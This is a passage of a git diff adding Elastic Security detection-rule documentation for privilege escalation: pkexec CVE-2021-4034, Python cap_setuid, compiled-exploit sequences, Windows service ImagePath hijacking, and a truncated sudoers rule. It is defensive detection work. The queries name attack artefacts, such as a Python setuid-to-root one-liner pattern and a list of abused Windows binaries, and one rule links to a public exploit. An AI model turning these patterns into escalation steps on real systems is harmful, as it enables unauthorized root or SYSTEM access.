https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Private Keys +** ID: T1552.004 +** Reference URL: https://attack.mitre.org/techniques/T1552/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-pkexec.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-pkexec.asciidoc new file mode 100644 index 0000000000..a635f58a61 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-pkexec.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-34-potential-privilege-escalation-via-pkexec]] +=== Potential Privilege Escalation via PKEXEC + +Identifies an attempt to exploit a local privilege escalation in polkit pkexec (CVE-2021-4034) via unsecure environment variable injection. Successful exploitation allows an unprivileged user to escalate to the root user. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://seclists.org/oss-sec/2022/q1/80 +* https://haxx.in/files/blasty-vs-pkexec.c + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Vuln: CVE-2021-4034 + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via PKEXEC* + + +Polkit's pkexec is a command-line utility that allows an authorized user to execute commands as another user, typically root, in Linux environments. Adversaries exploit vulnerabilities like CVE-2021-4034 by injecting unsecure environment variables, enabling unauthorized privilege escalation. The detection rule identifies suspicious file paths indicative of such exploitation attempts, focusing on environment variable manipulation to preemptively flag potential threats. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of the file path pattern "/*GCONV_PATH*" on a Linux host, as this is indicative of the potential exploitation attempt. +- Examine the process execution history on the affected host to identify any instances of pkexec being executed around the time of the alert. Look for unusual or unauthorized command executions. +- Check the environment variables set during the pkexec execution to identify any suspicious or unauthorized modifications that could indicate an exploitation attempt. +- Investigate the user account associated with the alert to determine if it has a history of privilege escalation attempts or other suspicious activities. +- Analyze system logs and security events for any additional indicators of compromise or related suspicious activities that occurred before or after the alert. +- Assess the patch status of the affected system to determine if it is vulnerable to CVE-2021-4034 and ensure that appropriate security updates have been applied. + + +*False positive analysis* + + +- Routine administrative tasks involving pkexec may trigger alerts if they involve environment variable manipulation. Review the context of the command execution to determine if it aligns with expected administrative behavior. +- Custom scripts or applications that legitimately use environment variables in their execution paths might be flagged. Identify these scripts and consider adding them to an exception list if they are verified as non-threatening. +- Automated system management tools that modify environment variables for legitimate purposes could cause false positives. Monitor these tools and exclude their known safe operations from the detection rule. +- Development environments where developers frequently test applications with varying environment variables might generate alerts. Establish a baseline of normal activity and exclude these patterns if they are consistent and verified as safe. +- Scheduled tasks or cron jobs that involve environment variable changes should be reviewed. If they are part of regular system maintenance, document and exclude them from triggering alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the attacker. +- Terminate any suspicious processes associated with pkexec or unauthorized privilege escalation attempts to halt ongoing exploitation. +- Conduct a thorough review of system logs and file access records to identify any unauthorized changes or access patterns, focusing on the presence of GCONV_PATH in file paths. +- Revert any unauthorized changes made by the attacker, such as modifications to critical system files or configurations, to restore system integrity. +- Apply the latest security patches and updates to the polkit package to address CVE-2021-4034 and prevent future exploitation. +- Implement enhanced monitoring and alerting for similar privilege escalation attempts, ensuring that any future attempts are detected and responded to promptly. +- Report the incident to relevant internal security teams and, if necessary, escalate to external authorities or cybersecurity partners for further investigation and support. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and file.path : "/*GCONV_PATH*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Sub-technique: +** Name: Path Interception by PATH Environment Variable +** ID: T1574.007 +** Reference URL: https://attack.mitre.org/techniques/T1574/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-python-cap-setuid.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-python-cap-setuid.asciidoc new file mode 100644 index 0000000000..98a516a400 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-python-cap-setuid.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-34-potential-privilege-escalation-via-python-cap-setuid]] +=== Potential Privilege Escalation via Python cap_setuid + +This detection rule monitors for the execution of a system command with setuid or setgid capabilities via Python, followed by a uid or gid change to the root user. This sequence of events may indicate successful privilege escalation. Setuid (Set User ID) and setgid (Set Group ID) are Unix-like OS features that enable processes to run with elevated privileges, based on the file owner or group. Threat actors can exploit these attributes to escalate privileges to the privileges that are set on the binary that is being executed. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via Python cap_setuid* + + +In Unix-like systems, setuid and setgid allow processes to execute with elevated privileges, often exploited by adversaries to gain unauthorized root access. Attackers may use Python scripts to invoke system commands with these capabilities, followed by changing user or group IDs to root. The detection rule identifies this sequence by monitoring Python processes executing system commands with setuid/setgid, followed by a root user or group ID change, signaling potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the process details, including process.entity_id and process.args, to confirm the execution of a Python script with setuid or setgid capabilities. +- Check the user.id and group.id fields to verify if there was an unauthorized change to root (user.id == "0" or group.id == "0"). +- Investigate the host.id to determine if other suspicious activities or alerts have been associated with the same host. +- Examine the timeline of events to see if the uid_change or gid_change occurred immediately after the Python process execution, indicating a potential privilege escalation attempt. +- Look into the source of the Python script or command executed to identify if it was a known or unknown script, and assess its legitimacy. +- Analyze any related network activity or connections from the host around the time of the alert to identify potential lateral movement or data exfiltration attempts. + + +*False positive analysis* + + +- Development and testing environments may trigger this rule when developers use Python scripts to test setuid or setgid functionalities. To manage this, exclude specific user accounts or host IDs associated with development activities. +- Automated scripts or maintenance tasks that require temporary privilege escalation might be flagged. Identify and whitelist these scripts by their process names or paths to prevent false positives. +- System administrators using Python scripts for legitimate administrative tasks could inadvertently trigger the rule. Consider excluding known administrator accounts or specific scripts used for routine maintenance. +- Security tools or monitoring solutions that simulate attacks for testing purposes may cause alerts. Exclude these tools by their process signatures or host IDs to avoid unnecessary alerts. +- Custom applications that use Python for legitimate privilege management should be reviewed and, if safe, added to an exception list based on their unique process identifiers or execution paths. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious Python processes identified by the detection rule to halt potential privilege escalation activities. +- Review and revoke any unauthorized setuid or setgid permissions on binaries or scripts to prevent exploitation. +- Conduct a thorough investigation of the affected system to identify any additional signs of compromise or persistence mechanisms. +- Reset credentials and review access permissions for any accounts that may have been affected or used in the attack. +- Apply security patches and updates to the operating system and installed software to mitigate known vulnerabilities. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=1s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.args : "import os;os.set?id(0);os.system(*)" and process.args : "*python*" and user.id != "0"] + [process where host.os.type == "linux" and event.action in ("uid_change", "gid_change") and event.type == "change" and + (user.id == "0" or group.id == "0")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-recently-compiled-executable.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-recently-compiled-executable.asciidoc new file mode 100644 index 0000000000..fccd1c72b2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-recently-compiled-executable.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-34-potential-privilege-escalation-via-recently-compiled-executable]] +=== Potential Privilege Escalation via Recently Compiled Executable + +This rule monitors a sequence involving a program compilation event followed by its execution and a subsequent alteration of UID permissions to root privileges. This behavior can potentially indicate the execution of a kernel or software privilege escalation exploit. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via Recently Compiled Executable* + + +In Linux environments, compiling and executing programs is a routine operation. However, adversaries can exploit this by compiling malicious code to escalate privileges. This detection rule identifies suspicious sequences where a non-root user compiles and executes a program, followed by a UID change to root, indicating potential privilege escalation attempts. By monitoring these patterns, the rule helps in identifying and mitigating exploitation risks. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific non-root user involved in the compilation and execution sequence. Check the user.id field to gather more information about the user's activities and permissions. +- Examine the process.args field from the initial compilation event to understand the source code or script being compiled. This can provide insights into whether the code has malicious intent. +- Investigate the file.name field associated with the creation event to determine the nature of the executable file created. Check its location and any associated metadata for anomalies. +- Analyze the process.name field from the execution event to identify the program that was run. Cross-reference this with known malicious binaries or scripts. +- Check the process.name field in the UID change event to identify the process responsible for the privilege escalation. Determine if this process is known to exploit vulnerabilities for privilege escalation. +- Review system logs and other security tools for any additional suspicious activities or anomalies around the time of the alert to gather more context on the potential threat. +- Assess the system for any signs of compromise or unauthorized changes, such as new user accounts, altered configurations, or unexpected network connections, to evaluate the impact and scope of the incident. + + +*False positive analysis* + + +- Development activities by legitimate users can trigger this rule when compiling and testing new software. To manage this, consider creating exceptions for specific users or groups known to perform regular development tasks. +- Automated build systems or continuous integration pipelines may compile and execute code as part of their normal operation. Exclude these systems by identifying their user accounts or host identifiers. +- System administrators performing maintenance or updates might compile and execute programs, leading to false positives. Implement exceptions for these users or specific maintenance windows. +- Educational environments where students frequently compile and execute code for learning purposes can generate alerts. Exclude these activities by setting up exceptions for student user accounts or specific lab environments. +- Security testing and research activities that involve compiling and executing exploit code in a controlled manner can be mistaken for malicious behavior. Exclude these activities by identifying the user accounts or systems involved in such testing. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified in the alert, especially those associated with the compiled executable and any processes running with elevated privileges. +- Revert any unauthorized changes to user permissions, particularly any UID changes to root, to restore the system to its secure state. +- Conduct a thorough review of the affected system for additional indicators of compromise, such as unauthorized file modifications or new user accounts, and remove any malicious artifacts. +- Apply relevant security patches and updates to the system to address any vulnerabilities that may have been exploited for privilege escalation. +- Monitor the affected system and network for any signs of recurring or related suspicious activity, using enhanced logging and alerting mechanisms. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected, ensuring comprehensive remediation across the environment. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1m + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.name in ("gcc", "g++", "cc") and user.id != "0"] by process.args + [file where host.os.type == "linux" and event.action == "creation" and event.type == "creation" and + process.name == "ld" and user.id != "0"] by file.name + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + user.id != "0"] by process.name + [process where host.os.type == "linux" and event.action in ("uid_change", "guid_change") and event.type == "change" and + user.id == "0"] by process.name + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-service-imagepath-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-service-imagepath-modification.asciidoc new file mode 100644 index 0000000000..4a61db39aa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-service-imagepath-modification.asciidoc @@ -0,0 +1,232 @@ +[[prebuilt-rule-8-19-34-potential-privilege-escalation-via-service-imagepath-modification]] +=== Potential Privilege Escalation via Service ImagePath Modification + +Identifies registry modifications to default services that could enable privilege escalation to SYSTEM. Attackers with privileges from groups like Server Operators may change the ImagePath of services to executables under their control or to execute commands. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cube0x0.github.io/Pocing-Beyond-DA/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Elastic Endgame +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Ransomware +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via Service ImagePath Modification* + + +Windows services are crucial for system operations, often running with high privileges. Adversaries exploit this by altering the ImagePath registry key of services to execute malicious code with elevated privileges. The detection rule identifies suspicious modifications to service ImagePaths, focusing on changes that deviate from standard executable paths, thus flagging potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the specific registry key and value that triggered the alert to confirm it matches one of the monitored service keys, such as those listed in the query (e.g., *\LanmanServer, *\Winmgmt). +- Examine the modified ImagePath value to determine if it points to a non-standard executable path or a suspicious executable, especially those not located in %systemroot%\system32\. +- Check the process.executable field to identify the process responsible for the registry modification and assess its legitimacy. +- Investigate the user account associated with the modification event to determine if it has elevated privileges, such as membership in the Server Operators group. +- Correlate the event with other logs or alerts to identify any related suspicious activities, such as unexpected service starts or process executions. +- Review recent changes or activities on the host to identify any unauthorized access or configuration changes that could indicate a broader compromise. + + +*False positive analysis* + + +- Legitimate software updates or installations may modify service ImagePaths. Users can create exceptions for known update processes or installation paths to prevent false positives. +- System administrators might intentionally change service configurations for maintenance or troubleshooting. Document and exclude these changes by adding exceptions for specific administrator actions or paths. +- Custom scripts or automation tools that modify service settings as part of their operation can trigger alerts. Identify and whitelist these scripts or tools to avoid unnecessary alerts. +- Some third-party security or management software may alter service ImagePaths as part of their functionality. Verify the legitimacy of such software and exclude their known paths from detection. +- Changes made by trusted IT personnel during system configuration or optimization should be logged and excluded from alerts to reduce noise. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified as running from non-standard executable paths, especially those not originating from the system32 directory. +- Restore the modified ImagePath registry key to its original state using a known good configuration or backup. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or persistence mechanisms. +- Review and audit user accounts and group memberships, particularly those with elevated privileges like Server Operators, to ensure no unauthorized changes have been made. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for future modifications to service ImagePath registry keys, focusing on deviations from standard paths to detect similar threats promptly. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and process.executable != null and + registry.data.strings != null and registry.value == "ImagePath" and + registry.key : ( + "*\\ADWS", "*\\AppHostSvc", "*\\AppReadiness", "*\\AudioEndpointBuilder", "*\\AxInstSV", "*\\camsvc", "*\\CertSvc", + "*\\COMSysApp", "*\\CscService", "*\\defragsvc", "*\\DeviceAssociationService", "*\\DeviceInstall", "*\\DevQueryBroker", + "*\\Dfs", "*\\DFSR", "*\\diagnosticshub.standardcollector.service", "*\\DiagTrack", "*\\DmEnrollmentSvc", "*\\DNS", + "*\\dot3svc", "*\\Eaphost", "*\\GraphicsPerfSvc", "*\\hidserv", "*\\HvHost", "*\\IISADMIN", "*\\IKEEXT", + "*\\InstallService", "*\\iphlpsvc", "*\\IsmServ", "*\\LanmanServer", "*\\MSiSCSI", "*\\NcbService", "*\\Netlogon", + "*\\Netman", "*\\NtFrs", "*\\PlugPlay", "*\\Power", "*\\PrintNotify", "*\\ProfSvc", "*\\PushToInstall", "*\\RSoPProv", + "*\\sacsvr", "*\\SENS", "*\\SensorDataService", "*\\SgrmBroker", "*\\ShellHWDetection", "*\\shpamsvc", "*\\StorSvc", + "*\\svsvc", "*\\swprv", "*\\SysMain", "*\\Themes", "*\\TieringEngineService", "*\\TokenBroker", "*\\TrkWks", + "*\\UALSVC", "*\\UserManager", "*\\vm3dservice", "*\\vmicguestinterface", "*\\vmicheartbeat", "*\\vmickvpexchange", + "*\\vmicrdv", "*\\vmicshutdown", "*\\vmicvmsession", "*\\vmicvss", "*\\vmvss", "*\\VSS", "*\\w3logsvc", "*\\W3SVC", + "*\\WalletService", "*\\WAS", "*\\wercplsupport", "*\\WerSvc", "*\\Winmgmt", "*\\wisvc", "*\\wmiApSrv", + "*\\WPDBusEnum", "*\\WSearch" + ) and + not ( + registry.data.strings : ( + "?:\\Windows\\system32\\*.exe", + "%systemroot%\\system32\\*.exe", + "%windir%\\system32\\*.exe", + "%SystemRoot%\\system32\\svchost.exe -k *", + "%windir%\\system32\\svchost.exe -k *" + ) and + not registry.data.strings : ( + "*\\cmd.exe", + "*\\cscript.exe", + "*\\ieexec.exe", + "*\\iexpress.exe", + "*\\installutil.exe", + "*\\Microsoft.Workflow.Compiler.exe", + "*\\msbuild.exe", + "*\\mshta.exe", + "*\\msiexec.exe", + "*\\msxsl.exe", + "*\\net.exe", + "*\\powershell.exe", + "*\\pwsh.exe", + "*\\reg.exe", + "*\\RegAsm.exe", + "*\\RegSvcs.exe", + "*\\regsvr32.exe", + "*\\rundll32.exe", + "*\\vssadmin.exe", + "*\\wbadmin.exe", + "*\\wmic.exe", + "*\\wscript.exe" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Services Registry Permissions Weakness +** ID: T1574.011 +** Reference URL: https://attack.mitre.org/techniques/T1574/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-sudoers-file-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-sudoers-file-modification.asciidoc new file mode 100644 index 0000000000..b3b8620cc5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-sudoers-file-modification.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-34-potential-privilege-escalation-via-sudoers-file-modification]] +=== Potential Privilege Escalation via Sudoers File Modification + +A sudoers file specifies the commands users or groups can run and from which terminals. Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. + +*Rule 